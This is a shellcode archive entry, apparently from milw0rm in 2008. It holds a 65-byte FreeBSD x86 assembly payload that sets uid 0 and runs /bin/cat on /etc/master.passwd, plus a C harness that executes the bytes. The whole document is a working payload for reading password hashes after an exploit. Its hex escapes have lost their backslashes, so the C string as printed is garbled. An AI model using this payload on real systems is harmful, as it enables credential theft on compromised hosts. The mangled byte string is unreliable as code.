[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : freebsd/x86 /bin/cat /etc/master.passwd (NULL free) 65 bytes
# Published : 2008-08-25
# Author : sm4x
# Previous Title : /bin/sh Polymorphic shellcode with printable ASCII characters
# Next Title : linux/x86 connect back, download a file and execute 149 bytes
; sm4x 2008
; /bin/cat /etc/master.passwd
; 65 bytes
; FreeBSD 7.0-RELEASE
global _start
_start:
xor eax, eax
; --- setuid(0)
push eax
push eax
mov al, 0x17
int 0x80
; --- setup /etc/master.passwd
jmp short load_file
ok:
pop esi
; setup /bin/cat
push eax
push 0x7461632f
push 0x6e69622f
mov ebx, esp
; --- array setup
push eax ; null
push esi ; /etc/master.passwd
push ebx ; /bin/cat
mov edx, esp
; -- execve()
push eax ; 0
push edx ; array { "/bin/cat", "/etc/master.passwd", 0}
push ebx ; /bin/cat
mov al, 0x3b
push eax
int 0x80
; --- exit
push eax
push eax
int 0x80
load_file:
call ok
db '/etc/master.passwd'
/*
char code[] = "x31xc0x50x50xb0x17xcdx80xebx1f"
"x5ex50x68x2fx63x61x74x68x2fx62"
"x69x6ex89xe3x50x56x53x89xe2x50"
"x52x53xb0x3bx50xcdx80x50x50xcd"
"x80xe8xdcxffxffxffx2fx65x74x63"
"x2fx6dx61x73x74x65x72x2ex70x61"
"x73x73x77x64";
int main(int argc, char **argv) {
int (*func)();
printf("Bytes: %dn", sizeof(code));
func = (int (*)()) code;
(int)(*func)();
}
*/
; milw0rm.com [2008-08-25]